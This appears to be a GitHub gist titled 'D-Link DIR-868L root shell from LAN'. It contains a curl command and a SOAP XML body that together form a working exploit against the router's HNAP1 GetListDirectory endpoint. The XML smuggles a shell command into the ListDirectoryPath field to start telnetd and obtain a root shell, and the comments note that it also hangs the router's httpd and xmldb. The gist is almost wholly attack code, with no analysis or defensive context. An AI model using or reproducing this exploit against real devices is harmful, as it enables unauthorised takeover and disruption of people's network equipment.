Skip to content

Instantly share code, notes, and snippets.

@angelsl

angelsl/curl.sh

Last active January 5, 2018 17:58
Show Gist options
  • Save angelsl/bba00d0d66c8fc3f13be2c0d52bc3118 to your computer and use it in GitHub Desktop.
Save angelsl/bba00d0d66c8fc3f13be2c0d52bc3118 to your computer and use it in GitHub Desktop.
Download ZIP
D-Link DIR-868L root shell from LAN
Raw
curl.sh
curl -u user:pass -X POST -H "Content-Type: text/xml" -H "SOAPAction: \"http://purenetworks.com/HNAP1/GetListDirectory\"" --data-binary @soap.xml http://<router ip>/HNAP1/
# warning: hangs httpd and xmldb
# fixme: don't hang httpd and xmldb
Raw
soap.xml
<?xml version="1.0" encoding="utf­8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema­instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<GetListDirectory xmlns="http://purenetworks.com/HNAP1/">
<ListDirectoryPath>/ &amp; telnetd -i br0 &amp; true</ListDirectoryPath>
</GetListDirectory>
</soap:Body>
</soap:Envelope>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment